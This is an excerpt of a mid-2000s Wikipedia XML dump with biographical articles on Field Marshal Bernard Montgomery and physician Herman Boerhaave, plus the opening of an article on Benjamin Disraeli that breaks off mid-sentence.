[[Field Marshal]] [[The Right Honourable]] '''Bernard Law Montgomery, 1st Viscount Montgomery of Alamein''', [[Order of the Garter|KG]], [[Order of the Bath|GCB]], [[Distinguished Service Order|DSO]] ([[17 November]] [[1887]]&amp;ndash;[[24 March]] [[1976]]) was a [[British Army]] officer, often referred to as &quot;Monty&quot;.  He won the [[Second Battle of El Alamein|Battle of El Alamein]], a major turning point in [[World War II]], and was largely responsible for the expulsion of the [[axis]] forces from North Africa.  He was later a prominent commander in Italy, France (where he was in command of all allied ground forces), and northern Europe.  

==Early life and World War I service==

Montgomery was born in [[London]] in 1887, the fourth child of nine to an Irish [[bishop]].  After graduating from [[St Paul's School]] and the [[Royal Military Academy Sandhurst]], he joined the 1st Battalion, [[The Royal Warwickshire Fusiliers|The Royal Warwickshire Regiment]] in [[1908]], first seeing service in [[British India|India]]. The [[First World War]] began in August [[1914]] and he moved to France with his regiment that month. He saw service during the retreat from [[Battle of Mons|Mons]] and was severely wounded during the [[First Battle of Ypres]] on [[13 October]] 1914 while taking part in an attack against the German-held village of [[Meteren]]. He was awarded the [[Distinguished Service Order|DSO]] for his actions. After recovering in early [[1915]], he was promoted to Brigade Major and returned to the Western Front in early [[1916]], taking part in, among others, the [[Battle of the Somme (1916)|Battle of the Somme]]. He  participated in a number of other engagements throughout the war, eventually finishing the war, after a number of other appointments, as [[General Staff Officer 1]], ranked as a [[colonel]], in the [[British 47th (2nd London) Division|47th (2nd London) Division]]. 

In [[1921]] Montgomery was appointed as a staff officer to a brigade stationed in [[County Cork|Cork]], the most bitterly contested region in the [[Anglo-Irish War]]. A cousin of Montgomery's had been killed by the [[Irish_Republican_Army#The_Old_IRA|IRA]] in [[1920]] and his family property was in [[County Donegal]], an area also affected by the conflict. He did not try and arrange a transfer to [[Ulster]] to exact revenge, however, and his methods were never as brutal as those of his contemporary in [[Cork]], [[Arthur Percival]]. On his arrival in Cork he urged units of his brigade that their &quot;behaviour must be beyond reproach&quot; although later, after futile attempts to locate and destroy IRA units, he stated that it &quot;never bothered me a bit how many houses were burnt&quot; (a reference to the government policy of burning the homes of suspected [[Irish republicanism|republicans]] and sympathisers). Despite this, he earned the respect of his enemies and the IRA officer [[Tom Barry]] said that he &quot;behaved with great correctness&quot;. Montgomery increasingly came to see the conflict as one that could not be won, and withdrawal of British forces as the only feasible solution. In [[1923]], after most of Ireland had won independence and in the middle of the [[Irish Civil War]], Montgomery wrote that &quot;the only way therefore was to give them (the Irish) some form of self-government and let them squash the rebellion themselves&quot;.

After the First World War ended, many promising young officers who had gained a higher acting rank during the war were reduced to their substantive ranks, and Montgomery returned to the 1st Royal Warwickshires in [[1925]] as a company commander, or [[captain]]. Montgomery now had to rise up the ranks once more. He married [[Elizabeth Carver]] in [[1927]] and eventually became Lieutenant-Colonel of the 1st Royal Warwickshires battalion in [[1931]], seeing service in [[British Mandate of Palestine|Palestine]], [[Egypt]], and India. He was promoted to Colonel and became an instructor at the [[British Indian Army|Indian Army]] Staff College in [[Quetta]], India. Montgomery did, as was usual, maintain links with the Royal Warwickshires, taking up the honorary position of Colonel-of-the-Regiment in [[1947]]. He became commanding officer of the 9th Brigade in [[1937]]. The year also saw tragedy for him when his wife died from septicaemia. He was promoted to Major-General the following year, taking command of the [[British 8th Division|8th Division]] in Palestine.

==World War II==

Britain declared war on Germany on [[3 September]] 1939, two days after Hitler had [[Polish September Campaign|invaded Poland]]. At the time, Montgomery had only just recently taken command of the [[British 3rd Infantry Division|3rd Division]] and he and his division deployed to Belgium as part of the [[British Expeditionary Force]]. The Germans began their invasion of the [[Low Countries]] on [[8 May]] [[1940]] and the BEF eventually withdrew to [[Dunkirk, France|Dunkirk]] where [[Operation Dynamo]] -- the evacuation of the BEF and French forces to Britain -- began on [[26 May]]. Montgomery was placed in command of [[British II Corps|II Corps]] during the evacuation and he was part of over 330,000 British and French troops that were successfully evacuated from Dunkirk by the time the operation ended on [[4 June]].

===North Africa and Italy===
[[Image:Montgomery watches his tanks move up.jpg|thumb|200px|Montgomery in North Africa, November 1942. His aide (shown behind him looking through binoculars) was killed in action in 1945.]]
He was promoted to [[Lieutenant-General]] shortly after his return to Britain and was placed in command of the 5th Corps ([[July]] [[1940]]-[[April]] [[1941]]), the 12th Corps ([[April]] [[1941]]-[[December]][[1941]]) and the South-Eastern Army ([[December]] [[1941]]-[[August]] [[1942]]).  During this time he demonstrated his belief in the importance of meticulous preparation and, above all, training to military operations. In [[August]] [[1942]], the Prime Minister, [[Winston Churchill]], was persuaded by [[Alan Brooke]] to appoint Montgomery commander of the [[British Eighth Army]] in the North African campaign after Churchill's own preferred candidate, [[William Gott|Gott]] was killed flying back to [[Cairo]]. 

Montgomery's peremptory assumption of command of Eighth Army was deeply resented by [[Claude Auchinleck|Auchinleck]] and his departing staff. Taking command two days earlier than authorised by Auchinleck, on [[13 August]] [[1942]], he ordered immediate reinforcements of the vital heights of [[Alam Halfa]] and joined the army and air headquarters together in a single operating unit. This step is often credited with bringing more unity of purpose to the air and ground effort. 

Montgomery also managed to improve the morale of the 8th Army quickly, but at the expense of denigrating his predecessor, Auchinleck. Montgomery's dismissive and occasionally insulting attitude to others often soured opinions about his abilities and personality. He tended to appeal more to the common soldiers under his command than to many of the officers who had more direct dealings with him. Montgomery made a concerted effort to appear before troops as often as possible, frequently visiting various units and making himself known to the men. A criticism of the 8th Army up until this point had been that the consituent units tended to fight their own separate battles. Montgomery was determined that the Army should fight its battles in a unified, focused manner according to a detailed plan. His efforts to bring unity to the Army largely succeeded.  

In the [[battle of Alam Halfa]], which began on [[31 August]] [[1942]], [[Erwin Rommel|Rommel]] attempted to penetrate the British front line and encircle the Eighth Army. Forewarned by [[Ultra]] decryption of Rommel's plans, this was defeated in a defensive engagement and Rommel's attempted breakthrough was halted with very little gain. In the aftermath of this engagement, Montgomery was criticized for not attacking the retreating German forces. However, one of Montgomery's great strengths as a commander was his understanding of his forces' true capablilities. In his judgement, the 8th Army could not defeat the Germans in mobile, fluid mechanized battles. Choosing to engage in such a battle, therefore, would play to German strength.  

Despite Churchill's dismissal of Auchinleck for being insufficiently aggressive, Montgomery demanded more time than Auchinleck had asked for to prepare for the offensive that started with the [[Second Battle of El Alamein|Battle of El Alamein]]. Prior to Montgomery taking command, the history of the campaign in North Africa had resembled a series of see-saws; both sides won battles but neither gained a decisive advantage. Montgomery had noted this and was determined not to fight until he could win a decisive victory. Montgomery put into action his beliefs in the  detailed planning and training of his troops.  He was also given more armour than Auchinleck had received so that by the time El Alamein began, the 8th Army had over 800 of the latest American-built tanks.  

By [[23 October]], the largest British artillery barrage of the Second World War started, Montgomery was confident he would win — but by a ruthless battle of tactical surprise and then gradual mutual attrition, rather than by manoeuvre. Montgomery called this the &quot;killing match&quot;. The battle was won through application of overwhelming firepower, while pinning German units in place. By [[2 November]], Rommel wanted to retreat, but [[Hitler]] ordered a 'victory or death' stand. It was ignored as German units fled, leaving more than 30,000 infantry to surrender. It was the first large-scale, decisive allied land victory of the war.  

Montgomery was [[Order of the Bath|knighted]] and promoted to full [[general]]. Montgomery's subsequent slow and steady advance as the Germans retreated hundreds of miles towards their bases in [[Tunisia]] used the logistical and firepower advantages of the British Army while avoiding manoeuvre battles. It also gave the Allies an indication the tide of war had genuinely turned in North Africa. Montgomery kept the initiative, applying superior strength when it suited him, forcing Rommel out of each successive defensive position. When Montgomery encountered fiercer frontal opposition than he had anticipated at [[Mareth]], he was forced to switch his major effort into an outflanking inland pincer, backed by low-flying RAF fighter-bomber support in a demonstration of British [[blitzkrieg]]. This was a harbinger of what ground forces could achieve when working closely in tandem with co-operative airforces.

This campaign demonstrated the battle-winning ingredients of morale, co-operation of all arms including the air forces, first-class logistical back-up and clear-cut orders. This approach is Montgomery's legacy to modern field command.

The next major Allied attack was [[Operation Husky]], the invasion of [[Sicily]]. It was in Sicily that Montgomery's famous tensions with US commanders really began. Montgomery managed to recast plans for the Allied invasion, in general making the plan more cautious. Inter-allied tensions grew as the American commanders [[George S. Patton|Patton]], and [[Omar Bradley|Bradley]], took umbrage at what they perceived as Montgomery's attitudes and boastfulness. They resented him, while accepting his skills as a general. 

Montgomery continued to command Eighth Army during the landings on the mainland of Italy itself. Shortly thereafter he was recalled to the [[United Kingdom|UK]] to take part in planning [[Operation Overlord]], the invasion of [[Normandy]]. Montgomery assumed command of [[British 21st Army Group|21st Army Group]] before the Normandy invasion and commanded that formation for the rest of the war in Europe.

===Normandy===
Montgomery's role in modifying the plans for [[Operation Overlord]] was crucial. He immediately recommended that the plan be expanded from a three-Division attack to a five-Division attack. As with his takeover of the 8th Army, Montgomery travelled frequently to his units, raising morale and ensuring training was progressing. 

During the [[Battle of Normandy|D-Day invasion]], and for several months afterwards, Montgomery commanded all allied ground forces: British, Canadian and American. Allied troops became generally bogged down.  The key to the battle was the French city of Caen. Caen had been an objective on D-Day, and Montgomery's original plan called for a steady Allied advance with a breakthrough in the east.  In Normandy the British Second Army faced the most open terrain in the east, but also the bulk of the German armour, including most of the [[Waffen SS]] Panzer divisions that were present on the Western Front. The US First Army, in the west, faced the very difficult [[bocage]] terrain, but less high-quality German opponents.  As a result, it actually took until mid-August to capture Caen. This provoked criticism both from his American counterparts and from some senior British officers, especially the Deputy [[SHAEF]] Commander, [[Arthur Tedder, 1st Baron Tedder|Tedder]], an [[Air Marshal]]. 
 
When the original plan failed, Montgomery and his subordinates improvised a number of operations including [[Villers-Bocage]], [[Operation Epsom]], [[Operation Charnwood]], [[Operation Goodwood]], and [[Operation Cobra]], which eventually suceeded in a breakout. 

===Advance to the Rhine===
The preponderance of American troops in the European theatre made it a political impossibility for the Ground Forces Commander to be British.  Eisenhower himself took over Ground Forces Command while continuing as Supreme Commander, with Montgomery reverting to command of 21st Army Group, consisting mainly of British and Canadian units.  Montgomery bitterly resented this change, even though it had been agreed before the D-Day invasion. [[Winston Churchill]] had Montgomery promoted to [[Field Marshal]] by way of compensation.

Montgomery's tempestuous personality and tactlessness throughout the war nearly led to fissures in the Allied high command.  Montgomery was able to persuade Eisenhower to adopt his strategy of a single thrust to the [[Ruhr area|Ruhr]], which manifested itself in [[Operation Market Garden]]. Operation Market Garden led to the defeat of the [[British 1st Airborne Division|1st Airborne Division]] outside [[Arnhem]]. When first shown the plans the British Lieutenant General [[Frederick Browning]] is alleged to have said, &quot;I think we might be going [[A Bridge Too Far|a bridge too far]].&quot; but there is no evidence for this. However, Montgomery insisted that all his battles ran according to his plans despite evidence to the contrary, even claiming that [[Operation_Market_Garden#Legacy|Arnhem]] had been a 90% success.

A further criticism is that the opportunity to destroy the German 15th Army as it retreated across the [[Scheldt]] was missed. As a result, 80,000 troops crossed in good order and prevented the use of [[Antwerp]] until the [[Canadian 1st Army]] had completed several long and costly [[Battle of the Scheldt|clearance operations]]. 

On the [[4 May|4th May]] [[1945]] on [[Lüneburg|Lüneburg Heath]] Montgomery accepted the surrender of German forces in northern Germany, Denmark, and The Netherlands.

==Character and controversy==
Montgomery was a complex man.  On the one hand though far from flawless he was a great and successful general through hard work, a refusal to conform to dead tradition, and an open, clear and sensitive mind.  He was a humane man and was capable of inspiring great loyalty among his staff and his troops. These men defended him with great passion even after the war, as the British historian [[Richard Holmes (military historian)|Richard Holmes]] discovered when he was critical of Montgomery. Much of his sometimes-criticised caution sprung from his regard for human life and a desire not to throw the lives of his troops away in the manner of the generals of the [[World War I|First World War]]. Montgomery thought that one of the most important roles for a military commander was to motivate his men to fight, that military command is `a great human problem'. 

On the other hand, he was personally a difficult man.  Montgomery did not get on with his contemporaries and mostly associated with junior officers.  He was insensitive, conceited, and boastful.  He was not an easy man to know socially and not loyal to the staff officers serving immediately under him.  It can be argued that his failures happened when he allowed his desire for personal glory to taint his planning, causing him to abandon his usual caution.  

Often it was Montgomery's statements about battles, as much as his actual conduct of it, that have formed the basis of the controversy. In his career, Montgomery's orders to his subordinates were clear and complete, yet with his superiors his communications could be opaque and incomplete.  So, in Normandy he gave the impression to Eisenhower and others that he was attempting a breakout, while playing down this possibility in his actual orders to his subordinates.  For example, shortly before [[Operation Goodwood]], he removed Falaise as an objective, but did not forward these new orders to [[SHAEF]].  He later claimed that his goal all along had been to pin down the bulk of the German armour around Caen, allowing U.S. forces (also under his command) to conduct the breakout. The practical result though was that the Allies under Montgomery's command inflicted a decisive defeat on the Germans, essentially destroying the German Army in Normandy, taking Paris, encircling large numbers of Germans in the [[Falaise Gap]], and setting the stage for a rapid advance to the German border. 

His relations with some of the American generals (especially [[George S. Patton|Patton]] and [[Omar Bradley|Bradley]]) degenerated to mutual loathing.  This caused a crisis immediately after the [[Battle of the Bulge]]. On [[January 7|7th January]], [[1945]] Montgomery held a press conference in which he downplayed the role of the American generals, especially Patton, in the Allied victory at the [[Battle of the Bulge]], in which he had under his command General [[Courtney Hodges]]' 1st Army, temporarily detached from the US 12th Army Group. This caused some degree of controversy, and resentment from Americans who felt that Montgomery held back his forces too long, and did not recognize that the bulk of the fighting was done by the American forces. A slanted version broadcast by German radio added to the insult.

An alternative view is that Eisenhower recognised the organisational wisdom of Montgomery being responsible for the northern flank of the German incursion. Following Bradley's failure to adequately guard against the German attack, he (Bradley) objected vehemently to American troops being transferred to the command of a British general, and had to be bluntly over-ruled by Eisenhower (&quot;Well, Brad, those are my orders&quot;). The relevant ''US History'' notes: &quot;''Eisenhower and Smith (Eisenhower's Chief of Staff) were acutely aware of the smouldering animosity towards the British in general and Montgomery in particular which existed in  the Headquarters of the 12th Army Group and 3rd Army, not to mention the chronic anti-British sentiments which might be anticipated from some circles in Washington.''&quot;

The criticisms of Montgomery were made with this background of personal animosity.  Monty supported his American formations; the Army commanders Hodges and Simpson were glad for this. The battlefront was reorganised, reinforced and supplied. The three generals then waited for the Germans to exhaust themselves.  This waiting for the right moment did not appeal to Bradley or Hodges, however.In the meantime, [[George S. Patton|Patton]], who believed that the more the Germans advanced, the more they would eventually lose, prepared for an immediate counter-attack. 

Monty then further angered his American colleagues and superior. In a memo to Eisenhower, he proposed that he should again be made Commander Ground Forces and implicitly criticised recent conduct of the war. At a time when American confidence had been shaken and nerves were raw, this was unwise. Eisenhower, encouraged by Tedder, was on the point of dismissing Montgomery, when [[Beddell Smith]] and Monty's own Chief of Staff, Major-General [[Freddie de Guingand]] pointed that this would be both politically unwise and difficult to justify. De Guingand was able to convince Monty of the impact of his words (of which he was apparently unaware) and Monty wrote an apology to Eisenhower. The moment passed.

It was in this climate of opinion that Monty held his press conference. His comments, as reported, gave further great offence, as mentioned above. Eisenhower commented in his memoirs: &quot;''I doubt if Montgomery ever came to realise how resentful some American commanders were. They believed he had belittled them - and they were not slow to voice reciprocal scorn and contempt''&quot;.  

For the record, Monty's press conference statements included the following eulogy on the American soldier: 
:&quot;''I first saw him in battle in Sicily and I formed a very high opinion of him. I saw him again in Italy. He is a very brave fighting man, steady under fire and with that tenacity in battle which marks the first-class fighting soldier. I have a great affection and admiration for the American soldier. I salute the brave fighting men of America. I never want to fight alongside better soldiers. I have tried to feel that I am almost an American soldier myself so that I might take no unsuitable action or offend them in any way ... Runstedt was really beaten by the good fighting qualities of the American soldier and by the team work of the Allies.''&quot; 

On Eisenhower, he said: 
:&quot;''The captain of our team is Eisenhower. I am absolutely devoted to Ike; we are the greatest of friends. It grieves me when I see uncomplimentary articles about him in the British press; he bears a great burden, he needs our fullest support, he has the right to expect it and it is up to all of us to see that he gets it.''&quot;. 

Montgomery subsequently recognised his error and later wrote: &quot;''I think now that I should never have held that press conference. So great were the feelings against me on the part of the American generals that whatever I said was bound to be wrong. I should therefore have said nothing.''&quot;

Montgomery's performance during the battles in northern Europe was criticised by many who considered his plans unimaginative and too rigid (including [[Gerd_von_Rundstedt|von Rundstedt]]). This overlooks the strengths and weaknesses of each side, and Montgomery's critics may sometimes fail to take note of this.  He was most successful with well planned attacks with overwhelming forces, such as at [[El Alamein]] that took advantage of his Army's strengths. Montgomery's defenders attributed his caution to the fact that he commanded mostly British and Canadian forces which were limited in number and not easily replaced, which meant that he could not afford to sacrifice them needlessly. He was also determined to avoid the waste of men that he had seen in the [[World War I]]. His American counterparts, Bradley and Patton, in contrast, could call upon almost inexhaustible supplies of manpower from the United States.

==Later life==
After the war, Montgomery was created 1st [[Viscount Montgomery of Alamein]] in [[1946]].  His reputation was tarnished over two decades after his death by evidence of [[racism]] with the 1999 revelation of previously secret papers from 1947-1948 when he held the position of [[Chief of the Imperial General Staff]]. During that period he was strictly enjoined to silence about his views, which were contrary to British policy, and agents were assigned to vet his public appearances for compliance.

Montgomery was chairman of the governing body  of [[St John's School]], [[Leatherhead]], [[Surrey]]  from [[1951]] to [[1966]]. He promoted it, raised money for it and gave generously of his own time and wealth.

He was deputy supreme commander of the North Atlantic Treaty Organization ([[NATO]]) forces from 1951 to 1958.  

Montgomery's memoirs were considered by some to be overly critical of his wartime comrades. His friendship with [[Eisenhower]], always tenuous, was ended with their publication. 

In [[1967]], Montgomery campaigned against the legalisation of [[homosexuality]] in the [[United Kingdom]] arguing that the ''[[Sexual Offences Act 1967]]'' was a &quot;charter for buggery&quot; and that &quot;this sort of thing may be tolerated by the French, but we're British - thank God.&quot; Ironically, a [[2001]] book, ''The Full Monty'' ISBN 0140283757 by Montgomery's official biographer and long-time friend, [[Nigel Hamilton]], alleged that the general was a &quot;repressed homosexual&quot; who had &quot;quasi love affairs&quot; with numerous young men and boys which fell short of sexual intimacy.[http://www.guardian.co.uk/Archive/Article/0,4273,4142165,00.html]  However there is not any evidence to any physical relationship, and Montgomery's ten year marriage was a happy and loving one.  

Montgomery died in [[1976]] and was interred in the Holy Cross Churchyard, [[Binsted]], [[Hampshire]].  His portrait (by [[Frank O. Salisbury]], [[1945]]) is in the [[National Portrait Gallery]].

==See also==
*[[Famous military commanders]]

==Quotations==

&quot;The U.S. has broken the second rule of war. That is, don't go fighting with your land army on the mainland of Asia. Rule One is don't march on Moscow. I developed these two rules myself.&quot;
:(spoken of the [[United_States|US]] approach to the [[Vietnam War]]) Quoted in [[Alun Chalfont|Chalfont]]'s ''Montgomery of Alamein''.

==References==
* ''Alamein'', Stephen Bungay, Auram (2002)
* ''Armageddon'', Max Hastings (2004)
* ''The Battle for the Rhine 1944'', Robin Neillands (2005)
* ''On the Psychology of Military Incompetence'', Norman Dixon, Pimlico (1976)

{{commons|Bernard Montgomery}}

{{start box}}
{{succession box | title=[[Chief of the Imperial General Staff]] | before=[[Alan Brooke, 1st Viscount Alanbrooke|The Lord Alanbrooke]] | after=[[William Slim, 1st Viscount Slim|Sir William Slim]] | years=1946&amp;ndash;1948}}
{{end box}}

{{start box}}
{{succession box | title=[[Viscount Montgomery of Alamein]] | years=1946&amp;ndash;1976 | before=New Creation | after=[[David Bernard Montgomery, 2nd Viscount Montgomery of Alamein|David Bernard Montgomery]]}}
{{end box}}

[[Category:1887 births|Montgomery of Alamein, Bernard Law Montgomery, 1st Viscount]]
[[Category:1976 deaths|Montgomery of Alamein, Bernard Law Montgomery, 1st Viscount]]
[[Category:British Field Marshals|Montgomery of Alamein, Bernard Law Montgomery, 1st Viscount]]
[[Category:British World War II people|Montgomery of Alamein, Bernard Law Montgomery, 1st Viscount]]
[[Category:Knights Grand Cross of the Bath|Montgomery of Alamein, Bernard Law Montgomery, 1st Viscount]]
[[Category:Knights of the Garter|Montgomery of Alamein, Bernard Law Montgomery, 1st Viscount]]
[[Category:Recipients of Virtuti Militari|Montgomery of Alamein, Bernard Law Montgomery, 1st Viscount]]
[[Category:Viscounts in the Peerage of the United Kingdom|Montgomery of Alamein, Bernard Law Montgomery, 1st Viscount]]
[[Category:Old Paulines|Montgomery of Alamein, Bernard Law Montgomery, 1st Viscount]]
[[Category:Order of Léopold recipients]]

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  </page>
  <page>
    <title>Herman Boerhaave</title>
    <id>3874</id>
    <revision>
      <id>40360373</id>
      <timestamp>2006-02-20T01:26:05Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">[[Image:Herman Boerhaave - Project Gutenberg eText 15690.jpg|thumbnail|right|250px|'''Herman Boerhaave''']]
'''Herman Boerhaave''' ([[Voorhout]], [[December 31]], [[1668]] - [[Leyden]], [[September 23]], [[1738]]) was a [[Netherlands|Dutch]] [[humanist]] and [[physician]] of European fame. He is regarded as the founder of the clinical teaching and of the modern academic [[hospital]]. His main achievement was to demonstrate the relation of symptoms to lesions.

He was born at [[Voorhout]] near [[Leiden]]. Entering the [[University of Leiden]] he took his degree in philosophy in 1689, with a dissertation ''De distinctione mentis a corpore'', in which he attacked the doctrines of [[Epicurus]], [[Thomas Hobbes]] and [[Baruch Spinoza|Spinoza]]. He then turned to the study of medicine, in which he graduated in 1693 at [[University of Harderwijk|Harderwijk]] in [[Gelderland]]. In [[1701]] he was appointed lecturer on the institutes of medicine at Leiden; in his inaugural discourse, ''De commendando [[Hippocrates|Hippocratis]] studio'', he recommended to his pupils that great physician as their model.

In [[1709]] he became professor of [[botany]] and medicine, and in that capacity he did good service, not only to his own university, but also to botanical science, by his improvements and additions to the [[Hortus Botanicus Leiden|botanic garden of Leiden]], and by the publication of numerous works descriptive of new species of plants. In 1714, when he was appointed rector of the university, he succeeded [[Govert Bidloo]] in the chair of practical medicine, and in this capacity he introduced the modern system of clinical instruction. Four years later he was appointed to the chair of chemistry also. In [[1728]] he was elected into the [[French Academy of Sciences]], and two years later into the [[Royal Society]] of London. In 1729 declining health obliged him to resign the chairs of chemistry and botany; and he died, after a lingering and painful illness, at Leiden.

His reputation so increased the fame of the University of Leiden, especially as a school of medicine, that it became popular with visitors from every part of Europe. All the princes of Europe sent him pupils, who found in this skillful professor not only an indefatigable teacher, but an affectionate guardian. When [[Peter I of Russia|Peter the Great]] went to Holland in [[1715]], to instruct himself in maritime affairs, he also took lessons from Boerhaave. His reputation was not confined to Europe; a Chinese mandarin sent him a letter addressed to &quot;the illustrious Boerhaave, physician in Europe,&quot; and it reached him in due course. 

==Personal Life==
On [[September 14]] [[1710]], Boerhaave married Maria Drolenvaux, the daughter of the rich merchant, Alderman Abraham Drolenvaux. They had four children, of whom one daughter, Maria Joanna, lived to adulthood [http://www.whonamedit.com/doctor.cfm/2404.html]. In 1722, he began to suffer from an extreme case of [[gout]], recovering the next year.

His principal works are:
*''Institutiones medicae'' (Leiden, 1708)
*''Aphorismi de cognoscendis et curandis morbis'' (Leiden, 1709), on which his pupil and assistant, [[Gerard van Swieten]] (1700-1772) published a commentary in 5 vols.
*''Elementa chemiae'' (Paris, 1724).

==External links==
*Samuel Johnson's [http://www.samueljohnson.com/boerhaave.html Life of Herman Boerhaave]
*[http://www.museumboerhaave.nl/ Museum Boerhaave] in Leiden, National Museum of the History of Science and Medicine
*{{gutenberg author | id=Herman_Boerhaave | name=Herman Boerhaave}}

[[Category:1668 births|Boerhaave, Herman]]
[[Category:1738 deaths|Boerhaave, Herman]]
[[Category:Dutch physicists|Boerhaave, Herman]]
[[Category:Dutch humanists]]
[[Category:Fellows of the Royal Society|Boerhaave, Herman]]

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  <page>
    <title>Benjamin Disraeli, 1st Earl of Beaconsfield</title>
    <id>3875</id>
    <revision>
      <id>41968605</id>
      <timestamp>2006-03-02T23:12:20Z</timestamp>
      <contributor>
        <username>Mackensen</username>
        <id>20329</id>
      </contributor>
      <comment>/* Early life */ mentioned further up</comment>
      <text xml:space="preserve">{{Infobox PM
 | name=[[The Right Honourable|The Rt. Hon.]] The Earl of Beaconsfield
 | image=1st Earl of Beaconsfield.jpg
 | country=the United Kingdom
 | term=February &amp;ndash; December, 1868&lt;br /&gt;February, 1874 &amp;ndash; April, 1880
 | before=[[Edward Smith-Stanley, 14th Earl of Derby|The Earl of Derby]]&lt;br /&gt;[[William Ewart Gladstone]]
 | after=[[William Ewart Gladstone]]
 | date_birth=[[21 December]] [[1804]]
 | date_death=[[19 April]] [[1881]]
 | place_birth=[[London]]
 | place_death=[[London]]
 | party=[[Conservative Party (UK)|Conservative]]
}}
'''Benjamin Disraeli, 1st Earl of Beaconsfield''', [[Order of the Garter|KG]], [[Privy Council of the United Kingdom|PC]] ([[21 December]], [[1804]] &amp;ndash; [[19 April]], [[1881]]) was an [[England|English]] statesman and literary figure. He served in government for three decades, twice as [[Prime Minister of the United Kingdom|Prime Minister]] &amp;ndash; the first and thus far only person of [[Jew]]ish descent to do so, although Disraeli was [[baptism|baptised]] in the [[Anglican Church]] at an early age. Disraeli's most lasting achievement was the creation of the modern [[UK Conservative Party|Conservative Party]] after the [[Corn Laws]] schism of 1846.

Although a major figure in the [[protectionist]] wing of the Conservative Party after 1846, Disraeli's relations with the other leading figures in the party, particularly [[Edward Smith-Stanley, 14th Earl of Derby|Lord Derby]], the overall leader, were often strained. Not until the [[1860s]] would Derby and Disraeli be on easy terms, and the latter's succession of the former assured. From 1852 onwards Disraeli's career would also be marked by his often intense rivalry with [[William Ewart Gladstone]], who eventually rose to become leader (if not founder) of the [[Liberal Party (UK)|Liberal Party]]. In this duel, Disraeli was aided by his warm friendship with [[Victoria of the United Kingdom|Queen Victoria]], who came to detest Gladstone during the latter's first premiership in the 1870s. In 1876 Disraeli was raised to the [[peerage]] as the '''Earl of Beaconsfield''', capping nearly four decades in the [[House of Commons]]. He died in 1881.

Before and during his political career Disraeli was well-known as a literary and social figure, although his novels are not generally regarded as belonging to the first rank of Victorian literature. He mainly wrote romances, of which ''Sibyl'' and ''Vivian Grey'' are perhaps the 
best-known today. He was and is unusual among British Prime Ministers for having gained equal social and political renown.

==Early life==
&lt;!--Disraeli's biographers think he's Italian Sephardic. Please provide evidence before changing it--&gt;
[[Image:Isaac disraeli.jpg|thumb|left|caption|'''Isaac D'Israeli'''&lt;br&gt;&lt;small&gt;Father of Benjamin Disraeli&lt;/small&gt;]]
Disraeli descended from Italian [[Sephardi|Sephardic Jews]] from both his maternal and paternal sides. His father was the literary critic and historian [[Isaac D'Israeli]] who, though [[Jew]]ish, in 1817 had Benjamin [[baptism|baptised]] in the [[Church of England]], following a dispute with their synagogue. The elder D'Israeli (Benjamin apparently changed the spelling in the 1820s) himself was content to remain outside organized religion. Benjamin at first attended a small school in Blackheath called Eliot Place (later to evolve into [[St Piran's School]]). Beginning in 1817 Benjamin attended [[Higham Hall]], in [[Walthamstow]]. His younger brothers, in contrast, attended the superior [[Winchester College]], a fact which apparently grated on Disraeli and may explain his dislike of his mother, [[Maria D'Israeli]].

His father destined him for the law, and he was articled to a solicitor in 1821. The law was, however, uncongenial, and by 1825 he gave it up. Disraeli was apparently determined to obtain independent means, and speculated on the stock exchange as early as 1824 on various South American mining companies. The recognition of the new South American republics on the recommendation of [[George Canning]] had led to a considerable boom, encouraged by various promoters and aggrandizers. In this connection Disraeli became involved with the financier J. D. Powles, one such booster. In the course of 1825 Disraeli wrote three pamphlets (anonymously) for Powles, promoting the companies.

That same year Disraeli's financial activities brought him into contact with the publisher [[John Murray (1778-1843)|John Murray]]. Murray, like Powles and Disraeli, was involved in the South American mines. Accordingly, they attempted to bring out a newspaper, ''[[The Representative]]'', to promote the cause of the mines and those politicians who supported the mines, specifically Canning. The paper was a failure, in part because the mining &quot;bubble&quot; burst in late 1825, ruining Powles and Disraeli. Also, according to Disraeli's biographer, [[Robert Blake, Baron Blake|Lord Blake]], the paper was &quot;atrociously edited&quot;, and probably would have failed anyway. The debts which Disraeli incurred through this affair would dog him the rest of his life.
[[Image:Young disraeli.jpg|thumb|caption|'''a Young Disraeli''' &lt;br&gt;&lt;small&gt;by Sir Francis Grant, 1852&lt;/small&gt;]]
Disraeli now turned towards literature, and brought out his first novel, ''[[Vivian Grey]]'', in 1827. Disraeli's biographers agree that ''Vivian Grey'' was a thinly-veiled re-telling of the affair of the ''Representative'', and it proved very popular on its release, although it also caused much offence within the Tory literary world when Disraeli's authorship was discovered. The book, which was initially published anonymously, was purportedly written by a &quot;man of fashion&quot; &amp;ndash; someone who moved in high society. Disraeli, then just twenty-three, did not move in high society, and the numerous solecisms present in ''Vivian Grey'' made this painfully obvious. Reviewers were sharply critical on these grounds of both the author and the book. Furthermore, Murray believed that Disraeli had caricatured him and abused his confidence&amp;ndash;an accusation denied at the time, although subsequent biographers (notably Blake) have sided with Murray.

After producing a ''[[Vindication of the British Constitution]]'', and some political pamphlets, Disraeli followed up ''Vivian Grey'' by a series of novels, ''[[The Young Duke]]'' (1831), ''[[Contarini Fleming]]'' (1832), ''[[Alroy]]'' (1833), ''[[Venetia (novel)|Venetia]]'' and ''[[Henrietta Temple]]'' (1837). During the same period he had also written ''[[The Revolutionary Epick]]'' and three burlesques, ''[[Ixion (novel)|Ixion]]'', ''[[The Infernal Marriage]]'', and ''[[Popanilla]]''. Of these only ''Henrietta Temple'' (based on his affair with [[Henrietta Sykes]]) was a true success.

==Political career==
Disraeli had been considering a political career as early as 1830, before he departed England for the [[Mediterranean]]. His first real efforts, however, did not come until 1832, during the great crisis over the [[Reform Bill of 1832|Reform Bill]], when he contributed to an anti-[[British Whig Party|Whig]] pamphlet edited by Croker and published by Murray entitled ''England and France: or a cure for Ministerial Gallomania''. The choice of a Tory publication was regarded as odd if not offensive by Disraeli's friends and relatives, who thought him more of a [[Radicals (UK)|Radical]]. [[Image:Robert Peel.jpg|left|thumb|caption|'''Sir Robert Peel, Bt.'''&lt;br&gt;&lt;small&gt;Prime Minister 1834-35, 1841-46&lt;/small&gt;]]Indeed, Disraeli had objected to Murray about Croker inserting &quot;high Tory&quot; sentiment, writing that &quot;it is quite impossible that anything adverse to the general measure of Reform can issue from my pen.&quot; Further, at the time ''Gallomania'' was published, Disraeli was in fact electioneering in [[High Wycombe]] in the Radical interest. {{ref|blake.disraeli.84-86}} Disraeli's politics at the time were influenced both by his rebellious streak and by his desire to make his mark. In the early 1830s the Tories and the interests they represented appeared to 